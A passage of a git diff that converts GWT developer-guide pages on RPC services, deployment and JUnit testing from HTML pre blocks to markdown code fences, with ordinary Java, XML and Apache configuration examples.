@@ -74,7 +74,7 @@
 
 To begin developing a new service interface, create a [client-side](DevGuideCodingBasics.html#DevGuideClientSide) Java interface that extends the [RemoteService](/javadoc/latest/com/google/gwt/user/client/rpc/RemoteService.html) tag interface.
 
-<pre class="prettyprint">
+```
 package com.example.foo.client;
 
 import com.google.gwt.user.client.rpc.RemoteService;
@@ -82,11 +82,11 @@
 public interface MyService extends RemoteService {
   public String myMethod(String s);
 }
-</pre>
+```
 
 This synchronous interface is the definitive version of your service's specification. Any implementation of this service on the [server-side](DevGuideServerCommunication.html#DevGuideServerSide) must extend [RemoteServiceServlet](/javadoc/latest/com/google/gwt/user/server/rpc/RemoteServiceServlet.html) and implement this service interface.
 
-<pre class="prettyprint">
+```
 package com.example.foo.server;
 
 import com.google.gwt.user.server.rpc.RemoteServiceServlet;
@@ -101,7 +101,7 @@
     return s;
   }
 }
-</pre>
+```
 
 **Tip:** It is not possible to call this version of the RPC directly from the client. You must create an asynchronous interface to all your services as shown
 below.
@@ -111,13 +111,13 @@
 Before you can actually attempt to make a remote call from the client, you must create another client interface, an asynchronous one, based on your original service interface.
 Continuing with the example above, create a new interface in the client subpackage:
 
-<pre class="prettyprint">
+```
 package com.example.foo.client;
 
 interface MyServiceAsync {
-  public void myMethod(String s, AsyncCallback&lt;String&gt; callback);
+  public void myMethod(String s, AsyncCallback<String> callback);
 }
-</pre>
+```
 
 The nature of asynchronous method calls requires the caller to pass in a callback object that can be notified when an asynchronous call completes, since by definition the
 caller cannot be blocked until the call completes. For the same reason, asynchronous methods do not have return types; they generally return void. Should you wish to have more
@@ -153,22 +153,22 @@
 `web.xml`.
 
 For example, suppose you have a module `com.example.foo.Foo`, and you define an RPC interface `com.example.foo.client.MyService`, annotated with
-`@RemoteServiceRelativePath(&quot;myService&quot;)`. You then implement a servlet for the interface you created for `com.example.foo.client.MyService` with the class
+`@RemoteServiceRelativePath("myService")`. You then implement a servlet for the interface you created for `com.example.foo.client.MyService` with the class
 `com.example.foo.server.MyServiceImpl` which extends `RemoteServiceServlet`. Finally, you add the following lines to your `web.xml`:
 
-<pre class="prettyprint">
-&lt;!-- Example servlet loaded into servlet container --&gt;
-&lt;servlet&gt;
-  &lt;servlet-name&gt;myServiceImpl&lt;/servlet-name&gt;
-  &lt;servlet-class&gt;
+```
+<!-- Example servlet loaded into servlet container -->
+<servlet>
+  <servlet-name>myServiceImpl</servlet-name>
+  <servlet-class>
     com.example.foo.server.MyServiceImpl
-  &lt;/servlet-class&gt;
-&lt;/servlet&gt;
-&lt;servlet-mapping&gt;
-  &lt;servlet-name&gt;myServiceImpl&lt;/servlet-name&gt;
-  &lt;url-pattern&gt;/com.example.foo.Foo/myService&lt;/url-pattern&gt;
-&lt;/servlet-mapping&gt;
-</pre>
+  </servlet-class>
+</servlet>
+<servlet-mapping>
+  <servlet-name>myServiceImpl</servlet-name>
+  <url-pattern>/com.example.foo.Foo/myService</url-pattern>
+</servlet-mapping>
+```
 
 Take a look at the value in `url-pattern`. The first part must match the name of your GWT module. If your module has a `rename-to` attribute, you would use the
 renamed value instead; either way it must match the actual subdirectory within your war directory where your GWT module lives (the module base URL). The second part must match the
@@ -190,7 +190,7 @@
 also.
 *   When running your RPC call, development mode displays an excaption `NoServiceEntryPointSpecifiedException: Service implementation URL not specified`. This error means that
 you did not specify a `@RemoteServiceRelativePath` in your service interface, and you also did not manually set target path by calling [ServiceDefTarget.setServiceEntryPoint()](/javadoc/latest/com/google/gwt/user/client/rpc/ServiceDefTarget.html#setServiceEntryPoint(java.lang.String)).
-*   If invoking your RPC call fails with a 404 [StatusCodeException](/javadoc/latest/com/google/gwt/user/client/rpc/StatusCodeException.html), your web.xml may be misconfigured. Make sure you specified a `@RemoteServiceRelativePath` and that the `&lt;url-pattern&gt;`
+*   If invoking your RPC call fails with a 404 [StatusCodeException](/javadoc/latest/com/google/gwt/user/client/rpc/StatusCodeException.html), your web.xml may be misconfigured. Make sure you specified a `@RemoteServiceRelativePath` and that the `<url-pattern>`
 specified in your `web.xml` matches this value, prepended with the location of your GWT output directory within the war directory.
 
 ### Deploying Services Into Production
@@ -214,26 +214,26 @@
 
 Suppose you want to call a method on a service interface defined as follows:
 
-<pre class="prettyprint">
+```
 // The RemoteServiceRelativePath annotation automatically calls setServiceEntryPoint()
-@RemoteServiceRelativePath(&quot;email&quot;)
+@RemoteServiceRelativePath("email")
 public interface MyEmailService extends RemoteService {
   void emptyMyInbox(String username, String password);
 }
-</pre>
+```
 
 Its corresponding asynchronous interface will look like this:
 
-<pre class="prettyprint">
+```
 public interface MyEmailServiceAsync {
   void emptyMyInbox(String username, String password,
-      AsyncCallback&lt;Void&gt; callback);
+      AsyncCallback<Void> callback);
 }
-</pre>
+```
 
 The client-side call will look like this:
 
-<pre class="prettyprint">
+```
 public void menuCommandEmptyInbox() {
   // (1) Create the client proxy. Note that although you are creating the
   // service interface proper, you cast the result to the asynchronous
@@ -259,13 +259,13 @@
   //
   emailService.emptyMyInbox(fUsername, fPassword, callback);
 }
-</pre>
+```
 
 It is safe to cache the instantiated service proxy to avoid creating it for subsequent calls. For example, you can instantiate the service proxy in the module's
 `onModuleLoad()` method and save the resulting instance as a class member.
 
-<pre class="prettyprint">
-    public class Foo implements EntryPoint {
+```
+public class Foo implements EntryPoint {
       private MyEmailServiceAsync myEmailService = (MyEmailServiceAsync) GWT.create(MyEmailService.class);
 
       public void onModuleLoad() {
@@ -277,10 +277,10 @@
        * was initalized when the module started up.
        */
       void sendEmail (String message) {
-          myEmailService.sendEmail(message, new AsyncCallback&lt;String&gt;() {
+          myEmailService.sendEmail(message, new AsyncCallback<String>() {
 
             public void onFailure(Throwable caught) {
-              Window.alert(&quot;RPC to sendEmail() failed.&quot;);
+              Window.alert("RPC to sendEmail() failed.");
             }
 
             public void onSuccess(String result) {
@@ -289,7 +289,7 @@
           });
       }
     }
-</pre>
+```
 
 ## Serializable Types<a id="DevGuideSerializableTypes"></a>
 
@@ -301,7 +301,7 @@
 subtle, in practice the behavior becomes intuitive very quickly.
 
 **Tip:**
-Although the terminology is very similar, GWT's concept of &quot;serializable&quot; is slightly different than serialization based on the standard Java interface [Serializable](http://java.sun.com/j2se/1.5.0/docs/api/java/io/Serializable.html). All references to serialization are referring to the GWT concept.
+Although the terminology is very similar, GWT's concept of "serializable" is slightly different than serialization based on the standard Java interface [Serializable](http://java.sun.com/j2se/1.5.0/docs/api/java/io/Serializable.html). All references to serialization are referring to the GWT concept.
 For some background, see the FAQ topic [Does the GWT RPC system support the use of java.io.Serializable?](FAQ_Server.html#Does_the_GWT_RPC_system_support_the_use_of_java.io.Serializable)
 
 A type is serializable and can be used in a service interface if one of the following is true:
@@ -349,7 +349,7 @@
 `java.util.List` are tricky because they operate in terms of
 `Object` instances. To make collections serializable, you should
 specify the particular type of objects they are expected to contain through
-normal type parameters (for example, `Map&lt;Foo,Bar&gt;` rather than
+normal type parameters (for example, `Map<Foo,Bar>` rather than
 just `Map`).  If you use raw collections or maps you will get bloated
 code and be vulnerable to denial of service attacks.
 
@@ -400,9 +400,10 @@
 CustomFieldSerializer<T>](/javadoc/latest/com/google/gwt/user/client/rpc/CustomFieldSerializer.html)` class, with the class that is being
 serialized as the type parameter. For example:
 
-<pre class="code">
-public final class HashMap_CustomFieldSerializer extends CustomFieldSerializer&lt;HashMap&gt;
-</pre>
+```
+public final class HashMap_CustomFieldSerializer extends CustomFieldSerializer<HashMap>
+
+```
 
 All custom field serializer classes must implement the 
 `[serializeInstance](/javadoc/latest/com/google/gwt/user/client/rpc/CustomFieldSerializer.html#serializeInstance(com.google.gwt.user.client.rpc.SerializationStreamWriter, T))` and
@@ -426,8 +427,8 @@
 
 To support type checking, server-specific versions of custom field serializers
 must be provided. The custom serializer class must be in a server package with
-the same qualified name as the client serializer, with &quot;client&quot;
-replaced by &quot;server&quot;. The actual serializer class for `Foo`
+the same qualified name as the client serializer, with "client"
+replaced by "server". The actual serializer class for `Foo`
 must be named `Foo_ServerCustomFieldSerializer`.
 As an example, the client serializer for the method
 `test.com.google.gwt.user.client.rpc.TypeCheckedGenericClass` is
@@ -440,9 +441,10 @@
 ServerCustomFieldSerializer<T>](/javadoc/latest/com/google/gwt/user/server/rpc/ServerCustomFieldSerializer.html)` class, with the class that is being
 serialized as the type parameter. For example:
 
-<pre class="code">
-public final class HashMap_ServerCustomFieldSerializer extends ServerCustomFieldSerializer&lt;HashMap&gt;
-</pre>
+```
+public final class HashMap_ServerCustomFieldSerializer extends ServerCustomFieldSerializer<HashMap>
+
+```
 
 All server custom field serializer classes must implement the
 client-side
@@ -491,14 +493,14 @@
 ## Architectural Perspectives<a id="DevGuideArchitecturalPerspectives"></a>
 
 There are various ways to approach services within your application architecture. Understand first of all that [GWT RPC services](DevGuideServerCommunication.html#DevGuideRemoteProcedureCalls) are not intended to replace J2EE servers, nor are they intended to provide a public web service
-(e.g. SOAP) layer for your application. GWT RPCs, fundamentally, are simply a method of &quot;getting from the client to the server.&quot; In other words, you use RPCs to accomplish tasks
+(e.g. SOAP) layer for your application. GWT RPCs, fundamentally, are simply a method of "getting from the client to the server." In other words, you use RPCs to accomplish tasks
 that are part of your application but that cannot be done on the client computer.
 
 Architecturally, you can make use of RPC two alternative ways. The difference is a matter of taste and of the architectural needs of your application.
 
 ### Simple Client/Server Deployment
 
-The first and most straightforward way to think of service definitions is to treat them as your application's entire back end. From this perspective, [client-side code](DevGuideCodingBasics.html#DevGuideClientSide) is your &quot;front end&quot; and all service code that runs on the server is &quot;back end.&quot; If you take this approach,
+The first and most straightforward way to think of service definitions is to treat them as your application's entire back end. From this perspective, [client-side code](DevGuideCodingBasics.html#DevGuideClientSide) is your "front end" and all service code that runs on the server is "back end." If you take this approach,
 your service implementations would tend to be more general-purpose APIs that are not tightly coupled to one specific application. Your service definitions would likely directly
 access databases through JDBC or Hibernate or even files in the server's file system. For many applications, this view is appropriate, and it can be very efficient because it
 reduces the number of tiers.
@@ -506,8 +508,8 @@
 ### Multi-Tier Deployment
 
 In more complex, multi-tiered architectures, your GWT service definitions could simply be lightweight gateways that call through to back-end server environments such as J2EE
-servers. From this perspective, your services can be viewed as the &quot;server half&quot; of your application's user interface. Instead of being general-purpose, services are created for
-the specific needs of your user interface. Your services become the &quot;front end&quot; to the &quot;back end&quot; classes that are written by stitching together calls to a more general-purpose
+servers. From this perspective, your services can be viewed as the "server half" of your application's user interface. Instead of being general-purpose, services are created for
+the specific needs of your user interface. Your services become the "front end" to the "back end" classes that are written by stitching together calls to a more general-purpose
 back-end layer of services, implemented, for example, as a cluster of J2EE servers. This kind of architecture is appropriate if you require your back-end services to run on a
 physically separate computer from your HTTP server.
 
@@ -547,11 +549,11 @@
 Now just copy your `.war` file into Tomcat's `/webapps` folder. If you have default configuration settings it should automatically unzip the .war file.
 
 If Tomcat is in its default configuration to run on port 8080, you should be able to run your application by entering the url
-`http://&lt;hostname&gt;:8080/MyApp/MyApp.html` into your web browser.
+`http://<hostname>:8080/MyApp/MyApp.html` into your web browser.
 
 If you encounter any problems, take look in the Tomcat log file, which can be found in the `logs` directory of your Tomcat installation. If your web pages display but
 the RPC calls don't seem to be going through, try turning on access logging on Tomcat. You may find that the URL used by the client side has not been registered by Tomcat, or that
-there is a misconfiguration between the URL path set in the `setServiceEntryPoint(URL)` call when declaring your RPC service and the `&lt;url-pattern&gt;` URL
+there is a misconfiguration between the URL path set in the `setServiceEntryPoint(URL)` call when declaring your RPC service and the `<url-pattern>` URL
 mapping the `web.xml` file.
 
 ### Using Tomcat with Apache HTTPD and a proxy
@@ -583,34 +585,35 @@
 
 *   Your Apache server is running on `www.example.com`
 *   Your Tomcat server is running on `servlet.example.com:8080`
-*   Your GWT module has a `&lt;rename-to=&quot;myapp&quot;&gt;`
+*   Your GWT module has a `<rename-to="myapp">`
 *   You have one RPC servlet, mapped into `/myapp/myService`
 
 The idea is to have Apache proxy requests to the servlet to the other server such that:
 
-`http://www.example.com/MyApp/myapp/myService --&gt; http://servlet.example.com:8080/MyApp/myapp/myService`
+`http://www.example.com/MyApp/myapp/myService --> http://servlet.example.com:8080/MyApp/myapp/myService`
 
 The following Apache configuration sets up such a rule using a Proxy:
 
-<pre class="prettyprint">
+```
 ProxyPass        /MyApp/myapp/myService  http://servlet.example.com:8080/MyApp/myapp/myService
 ProxyPassReverse /MyApp/myapp/myService  http://servlet.example.com:8080/MyApp/myapp/myService
-</pre>
+```
 
 To verify this is working, use a web browser to hit both `http://www.example.com/MyApp/myapp/myService` and
 `http://servlet.example.com:8080/MyApp/myapp/myService`. You should get the same result in both cases (typically a `405: HTTP method GET is not supported by this
 URL`, which is good). If you get something different hitting the second URL, you may have a configuration issue.
 
 *   If you get a 404, there is most likely an error in the left hand side of your URL mapping.
-*   If you get a &quot;Bad Gateway&quot;, there is most likely an error in the right hand side of your URL mapping.
-*   If you get a 403 permission error, check the Apache configuration files to for `&lt;Proxy&gt;` tags to see if the permissions are wrong. You may need to add a section
+*   If you get a "Bad Gateway", there is most likely an error in the right hand side of your URL mapping.
+*   If you get a 403 permission error, check the Apache configuration files to for `<Proxy>` tags to see if the permissions are wrong. You may need to add a section
 like this:
-<pre class="prettyprint">
-   &lt;Proxy \*&gt;
+
+```
+<Proxy \*>
      Order deny,allow
      Allow from all
-   &lt;/Proxy&gt;
-</pre>
+   </Proxy>
+```
 
 ### Other Deployment Methods
 
@@ -638,7 +641,7 @@
 Making HTTP requests in GWT works much like it does in any language or framework, but there are a couple of important differences you should be aware of.
 
 First, because of the single-threaded execution model of most web browsers, long synchronous operations such as server calls can cause a JavaScript application's interface (and
-sometimes the browser itself) to become unresponsive. To prevent network or server communication problems from making the browser &quot;hang&quot;, GWT allows only _asynchronous_
+sometimes the browser itself) to become unresponsive. To prevent network or server communication problems from making the browser "hang", GWT allows only _asynchronous_
 server calls. When sending an HTTP request, the client code must register a callback method that will handle the response (or the error, if the call fails). For more information
 about the exclusion of synchronous server connections, you may want to check out this [FAQ article](FAQ_Server.html#Why_doesn).
 
@@ -648,11 +651,11 @@
 ### HTTP client types
 
 To use the [HTTP types](/javadoc/latest/com/google/gwt/http/client/package-summary.html) in your application,
-you'll need to first inherit the GWT HTTP module by adding the following `&lt;inherits&gt;` tag to your [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml):
+you'll need to first inherit the GWT HTTP module by adding the following `<inherits>` tag to your [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml):
 
-<pre>
-&lt;inherits name=&quot;com.google.gwt.http.HTTP&quot; /&gt;
-</pre>
+```
+<inherits name="com.google.gwt.http.HTTP" />
+```
 
 [RequestBuilder](/javadoc/latest/com/google/gwt/http/client/RequestBuilder.html) is the core class you'll
 need for constructing and sending HTTP requests. Its [constructor](/javadoc/latest/com/google/gwt/http/client/RequestBuilder.html#RequestBuilder(com.google.gwt.http.client.RequestBuilder.Method,%20java.lang.String)) has parameters for specifying the HTTP method of the request (GET, POST, etc.) and the URL (the [URL](/javadoc/latest/com/google/gwt/http/client/URL.html) utility class is handy for escaping invalid characters).
@@ -669,11 +672,11 @@
 
 Here's a brief example of making an HTTP request to a server:
 
-<pre class="prettyprint">
+```
 import com.google.gwt.http.client.*;
 ...
 
-String url = &quot;http://www.myserver.com/getData?type=3&quot;;
+String url = "http://www.myserver.com/getData?type=3";
 RequestBuilder builder = new RequestBuilder(RequestBuilder.GET, URL.encode(url));
 
 try {
@@ -693,7 +696,7 @@
 } catch (RequestException e) {
   // Couldn't connect to server
 }
-</pre>
+```
 
 ### Processing the response
 
@@ -736,8 +739,8 @@
 application. It uses a slightly different syntax to define the required interface for the [AsyncCallback](/javadoc/latest/com/google/gwt/user/client/rpc/AsyncCallback.html) object that is the last
 parameter to the `getPeople` RPC call:
 
-<pre class="prettyprint">
- // This code is called before the RPC starts
+```
+// This code is called before the RPC starts
  //
   if (startRow == lastStartRow) {
     ...
@@ -745,11 +748,11 @@
 
   // Invoke the RPC call, implementing the callback methods inline:
   //
-  calService.getPeople(startRow, maxRows, new AsyncCallback&lt;Person[]&gt;() {
+  calService.getPeople(startRow, maxRows, new AsyncCallback<Person[]>() {
 
     // When the RPC returns, this code will be called if the RPC fails
     public void onFailure(Throwable caught) {
-       statusLabel.setText(&quot;Query failed: &quot; + caught.getMessage());
+       statusLabel.setText("Query failed: " + caught.getMessage());
        acceptor.failed(caught);
     }
 
@@ -759,7 +762,7 @@
       lastMaxRows = maxRows;
       lastPeople = result;
       pushResults(acceptor, startRow, result);
-      statusLabel.setText(&quot;Query reutrned &quot; + result.length + &quot; rows.&quot;);
+      statusLabel.setText("Query reutrned " + result.length + " rows.");
     }
   });
 
@@ -767,9 +770,9 @@
   // The following code will execute while the RPC is in progress,
   // before either of onFailure() or onSuccess() are executed.
   //
-  statusLabel.setText(&quot;Query in progress...&quot;);
+  statusLabel.setText("Query in progress...");
   ...
-</pre>
+```
 
 The important issue to understand is that that the code that follows the RPC call invocation will be executed while the actual round trip to the server is still in progress.
 Although the code inside the `onSuccess()` method is defined inline with the call, it will not be executed until both the calling code returns back to the JavaScript main
diff --git a/src/main/markdown/doc/latest/DevGuideTesting.md b/src/main/markdown/doc/latest/DevGuideTesting.md
index f359e48..e02e1be 100644
--- a/src/main/markdown/doc/latest/DevGuideTesting.md
+++ b/src/main/markdown/doc/latest/DevGuideTesting.md
@@ -56,8 +56,8 @@
 For example, to create a starter application along with test cases in the directory `fooApp`, where module name is
 `com.example.foo.Foo`:
 
-<pre>
- ~/Foo&gt; webAppCreator -out fooApp 
+```
+~/Foo> webAppCreator -out fooApp
         -junit /opt/eclipse/plugins/org.junit_3.8.1/junit.jar
         com.example.foo.Foo
 Created directory fooApp/src
@@ -85,7 +85,7 @@
 Created file fooApp/FooTest-dev.launch
 Created file fooApp/FooTest-prod.launch
 Created file fooApp/war/WEB-INF/lib/gwt-servlet.jar
-</pre>
+```
 
 Follow the instructions in the generated fooApp/README.txt file. You have
 two ways to run your tests: using ant or using Eclipse. There are ant targets
@@ -102,7 +102,7 @@
 
 If you prefer not to use webAppCreator, you may create a test case suite by hand by following the instructions below:
 
-1.  **Define a class that extends [GWTTestCase](/javadoc/latest/com/google/gwt/junit/client/GWTTestCase.html).** Make sure your test class is on the module source path (e.g. in the `client` subpackage of your module.) You can add new source paths by editing the [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml) and adding a `&lt;source&gt;` element.
+1.  **Define a class that extends [GWTTestCase](/javadoc/latest/com/google/gwt/junit/client/GWTTestCase.html).** Make sure your test class is on the module source path (e.g. in the `client` subpackage of your module.) You can add new source paths by editing the [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml) and adding a `<source>` element.
 2.  **If you do not have a GWT module yet, create a [module](DevGuideOrganizingProjects.html#DevGuideModules) that causes the source for your test case to be included.** If you are adding a test case to an existing GWT app, you can just use the existing module.
 3.  **Implement the method [GWTTestCase.getModuleName()](/javadoc/latest/com/google/gwt/junit/client/GWTTestCase.html#getModuleName()) to return the fully-qualified name of the module.** This is the glue that tells the JUnit test case which module to instantiate.
 4.  **Compile your test case class to bytecode.** You can use the Java compiler directly using [javac](http://java.sun.com/j2se/1.5.0/docs/tooldocs/windows/javac.html) or a Java IDE such as [Eclipse](http://eclipse.org).
@@ -115,28 +115,30 @@
 
 ### Client side Example
 
-<p>First of all, you will need a valid GWT module to host your test case class. Usually, you do not need to create a new [module
-XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml) - you can just use the one you have already created to develop your GWT module. But if you did not already have a module, you might create one like this:
+First of all, you will need a valid GWT module to host your test case class. Usually, you do not
+need to create a new [module XML file](DevGuideOrganizingProjects.html#DevGuideModuleXml) - you
+can just use the one you have already created to develop your GWT module. But if you did not
+already have a module, you might create one like this:
 
-<pre class="prettyprint">
-&lt;module&gt;
-  &lt;!-- Module com.example.foo.Foo --&gt;
+```
+<module>
+  <!-- Module com.example.foo.Foo -->
 
-  &lt;!-- Standard inherit.                                           --&gt;
-  &lt;inherits name='com.google.gwt.user.User'/&gt;
+  <!-- Standard inherit.                                           -->
+  <inherits name='com.google.gwt.user.User'/>
 
-  &lt;!-- implicitly includes com.example.foo.client package          --&gt;
+  <!-- implicitly includes com.example.foo.client package          -->
 
-  &lt;!-- OPTIONAL STUFF FOLLOWS --&gt;
+  <!-- OPTIONAL STUFF FOLLOWS -->
 
-  &lt;!-- It's okay for your module to declare an entry point.        --&gt;
-  &lt;!-- This gets ignored when running under JUnit.                 --&gt;
-  &lt;entry-point class='com.example.foo.FooModule'/&gt;
+  <!-- It's okay for your module to declare an entry point.        -->
+  <!-- This gets ignored when running under JUnit.                 -->
+  <entry-point class='com.example.foo.FooModule'/>
 
-  &lt;!-- You can also test remote services during a JUnit run.       --&gt;
-  &lt;servlet path='/foo' class='com.example.foo.server.FooServiceImpl'/&gt;
-&lt;/module&gt;
-</pre>
+  <!-- You can also test remote services during a JUnit run.       -->
+  <servlet path='/foo' class='com.example.foo.server.FooServiceImpl'/>
+</module>
+```
 
 **Tip:** You do not need to create a
 separate module for every test case, and in fact will pay a startup penalty
@@ -148,7 +150,7 @@
 `UpperCasingLabel`, which ensures that the text it shows is all upper
 case. Here is how you might test it.
 
-<pre class="prettyprint">
+```
 package com.example.foo.client;
 import com.google.gwt.junit.client.GWTTestCase;
 
@@ -178,7 +180,7 @@
     assertEquals("BAZ", upperCasingLabel.getText());
   }
 }
-</pre>
+```
 
 Now, there are several ways to run your tests. Just look at the sample ant scripts or launch configs generated by webAppCreator, as in the previous subsection.
 
@@ -208,7 +210,7 @@
 If you instead decide to run the JUnit TestRunner from command line, you must add some additional arguments to get your unit tests running in production mode. By
 default, tests run in [development mode](DevGuideCompilingAndDebugging.html#DevGuideDevMode) are run as normal Java bytecode in a JVM. To override this default behavior, you need to [pass arguments](#passingTestArguments) to `JUnitShell`
 
-<pre>-Dgwt.args="-prod"</pre>
+`-Dgwt.args="-prod"`
 
 ### Running your test in Manual Mode<a id="Manual_Mode"></a>
 
@@ -217,12 +219,17 @@
 
 For example, if you want to run a test in a single browser, you would use the following arguments:
 
-<pre class="prettyprint">-runStyle Manual:1</pre>
+```
+-runStyle Manual:1
+```
 
 GWT will then show a console message like the following:
 
-<pre class="prettyprint">Please navigate your browser to this URL:
-http://172.29.212.75:58339/com.google.gwt.user.User.JUnit/junit.html?gwt.codesvr=172.29.212.75:42899</pre>
+```
+
+Please navigate your browser to this URL:
+http://172.29.212.75:58339/com.google.gwt.user.User.JUnit/junit.html?gwt.codesvr=172.29.212.75:42899
+```
 
 Point your browser to the specified URL, and the test will run. You may be prompted by the GWT Developer Plugin to accept the connection the first time the test is run. 
 
@@ -263,7 +270,7 @@
 
 #### Example
 
-<pre class="prettyprint">
+```
 public void testTimer() {
   // Setup an asynchronous event handler.
   Timer timer = new Timer() {
@@ -282,7 +289,7 @@
   // Schedule the event and return control to the test system.
   timer.schedule(100);
 }
-</pre>
+```
 
 The recommended pattern is to test one asynchronous event per test method. 
 If you need to test multiple events in the same method, here are a couple of techniques:
@@ -311,7 +318,7 @@
 Creating a suite is simple if you have already defined individual JUnit [TestCases](http://junit.sourceforge.net/junit3.8.1/javadoc/junit/framework/TestCase.html) or [GWTTestCases](/javadoc/latest/com/google/gwt/junit/client/GWTTestCase.html).
 Here is an example:
 
-<pre class="prettyprint">
+```
 public class MapsTestSuite extends GWTTestSuite {
   public static Test suite() {
     TestSuite suite = new TestSuite("Test for a Maps Application");
@@ -321,13 +328,13 @@
     return suite;
   }
 }
-</pre>
+```
 
 The three test cases `MapTest`, `EventTest`, and `CopyTest` can now all run in the same instance of JUnitShell.
 
-<pre class="prettyprint">
+```
 java -Xmx256M -cp "./src:./test:./bin:./junit.jar:/gwt/gwt-user.jar:/gwt/gwt-dev.jar:/gwt/gwt-maps.jar" junit.textui.TestRunner com.example.MapsTestSuite
-</pre>
+```
 
 ## Setting up and tearing down JUnit test cases that use GWT code<a id="DevGuideJUnitSetUp"></a>
 
@@ -340,10 +347,10 @@
 *   [gwtTearDown()](/javadoc/latest/com/google/gwt/junit/client/GWTTestCase.html#gwtTearDown()) runs after each
 test method in a test case.
 
-The following example shows how to defensively cleanup the DOM before the next test run using [gwtSetUp()](/javadoc/latest/com/google/gwt/junit/client/GWTTestCase.html#gwtSetUp()). It skips over `&lt;iframe&gt;` and `&lt;script&gt;` tags so that the GWT test infrastructure is not accidentally removed.
+The following example shows how to defensively cleanup the DOM before the next test run using [gwtSetUp()](/javadoc/latest/com/google/gwt/junit/client/GWTTestCase.html#gwtSetUp()). It skips over `<iframe>` and `<script>` tags so that the GWT test infrastructure is not accidentally removed.
 
-<pre class="prettyprint">
-  import com.google.gwt.junit.client.GWTTestCase;
+```
+import com.google.gwt.junit.client.GWTTestCase;
   import com.google.gwt.user.client.DOM;
   import com.google.gwt.user.client.Element;
 
@@ -357,8 +364,8 @@
   public void gwtSetUp () {
     Element bodyElem = RootPanel.getBodyElement();
 
-    List&lt;Element&gt; toRemove = new ArrayList&lt;Element&gt;();
-    for (int i = 0, n = DOM.getChildCount(bodyElem); i &lt; n; ++i) {
+    List<Element> toRemove = new ArrayList<Element>();
+    for (int i = 0, n = DOM.getChildCount(bodyElem); i < n; ++i) {
       Element elem = DOM.getChild(bodyElem, i);
       String nodeName = getNodeName(elem);
       if (!"script".equals(nodeName) &amp;&amp; !"iframe".equals(nodeName)) {
@@ -366,11 +373,11 @@
       }
     }
 
-    for (int i = 0, n = toRemove.size(); i &lt; n; ++i) {
+    for (int i = 0, n = toRemove.size(); i < n; ++i) {
       DOM.removeChild(bodyElem, toRemove.get(i));
     }
   }
-</pre>
+```
 
 ## Running Tests in Eclipse<a id="DevGuideRunningTestsInEclipse"></a>
 
@@ -381,7 +388,7 @@
 
 Alternatively, one can also directly generate launch configurations. Create a
 normal JUnit run configuration by right-clicking on the Test file that extends
-`GWTTestCase` and selecting `Run as` &gt; `JUnit Test`. Though the
+`GWTTestCase` and selecting `Run as` > `JUnit Test`. Though the
 first run will fail, a new JUnit run configuration will be generated. 
 Modify the run configuration by adding the project's `src` and
 `test` directories to the classpath, like so:
@@ -396,4 +403,4 @@
 
 To run tests in production mode, copy the development mode launch
 configuration and pass VM arguments (by clicking the `Arguments` tab and
-adding to the VM arguments textarea) <pre>-Dgwt.args="-prod"</pre> 
+adding to the VM arguments textarea) `-Dgwt.args="-prod"` 
diff --git a/src/main/markdown/doc/latest/DevGuideTestingCoverage.md b/src/main/markdown/doc/latest/DevGuideTestingCoverage.md
index 900ff54..f7078e4 100644
--- a/src/main/markdown/doc/latest/DevGuideTestingCoverage.md
+++ b/src/main/markdown/doc/latest/DevGuideTestingCoverage.md
@@ -13,22 +13,28 @@
 
 As a running example, let us say we create a project with the provided `webAppCreator` and `junitCreator` tools as:
 
-<pre>./webAppCreator -out myapp  
+```
+./webAppCreator -out myapp  
                      -junit ../../../../gwt-tools/lib/junit/junit-3.8.1.jar 
                      com.example.myapp.MyApp
-</pre>
+```
 
 Add the following `computeFactorial()` method to MyApp.java and the dummy `testFactorial()` method to MyAppTest.java
 
-<pre>int computeFactorial(int number) {
+```
+int computeFactorial(int number) {
   if (number &le; 1) {
     return 1;
   }
   return number * computeFactorial(number - 1);
-}</pre>
+}
+```
 
-<pre>public void testFactorial() {
-}</pre>
+```
+
+public void testFactorial() {
+}
+```
 
 This example is used in the following sections.
 
@@ -60,16 +66,20 @@
 
 Augment the MyAppTest.java by creating the testFactorial method:
 
-<pre>public void testFactorial() {
+```
+public void testFactorial() {
   assertEquals(1, new MyApp().computeFactorial(0));
-}</pre>
+}
+```
 
 On running coverage, now we see that out of 13 instructions in the method `computeFactorial` (the figure below shows the total instructions in the `computeFactorial` method), 5 instructions are covered. (Note that these instructions are bytecode instructions.) Let us add another statement to testFactorial() for testing the factorial computation for numbers greater than `0` such that the method becomes:
 
-<pre>public void testFactorial() {
+```
+public void testFactorial() {
   assertEquals(1, new MyApp().computeFactorial(0));
   assertEquals(2, new MyApp().computeFactorial(2));
-}</pre>
+}
+```
  
 On running coverage, now we see that coverage for the `computeFactorial()` method is indeed 100% as expected. The following screenshot of the Eclipse window shows the final coverage information. You can drill down on the individual class and methods to find the coverage information at the desired granularity. You can also export the coverage data to html or xml formats to keep track of your code coverage over time.
 
@@ -85,7 +95,7 @@
 
 (The yellow text is the output of the tool. For convenience, we copied the patched EMMA jar as emma.jar in the current directory.)
 
-<pre><strong>cd myapp </strong>
+```
 
 # step i: generate the class files
 <strong>ant devmode</strong>
@@ -112,6 +122,7 @@
 
 <span style="background: #FD5;">EMMA: processing input files ...
 EMMA: 2 file(s) read and merged in 13 ms
-EMMA: writing [html] report to [PARENT_DIR/samples/com/example/myapp/coverage/index.html] ...</span></pre>
+EMMA: writing [html] report to [PARENT_DIR/samples/com/example/myapp/coverage/index.html] ...</span>
+```
 
 Follow [Step 4](#improving) of the EclEmma section to improve coverage. As you add more tests, you can see your coverage increasing.
diff --git a/src/main/markdown/doc/latest/DevGuideTestingHtmlUnit.md b/src/main/markdown/doc/latest/DevGuideTestingHtmlUnit.md
index d8e879e..805daae 100644
--- a/src/main/markdown/doc/latest/DevGuideTestingHtmlUnit.md
+++ b/src/main/markdown/doc/latest/DevGuideTestingHtmlUnit.md
@@ -32,4 +32,4 @@
 to cause tests to run both in FF3 and IE8 emulation mode, set
 [`gwt.args`](DevGuideTesting.html#passingTestArguments) to:
 
-<pre>-runStyle HtmlUnit:FF3,IE6</pre>
+`-runStyle HtmlUnit:FF3,IE6`
diff --git a/src/main/markdown/doc/latest/DevGuideTestingRemoteTesting.md b/src/main/markdown/doc/latest/DevGuideTestingRemoteTesting.md
index 7e6437a..fcdaaef 100644
--- a/src/main/markdown/doc/latest/DevGuideTestingRemoteTesting.md
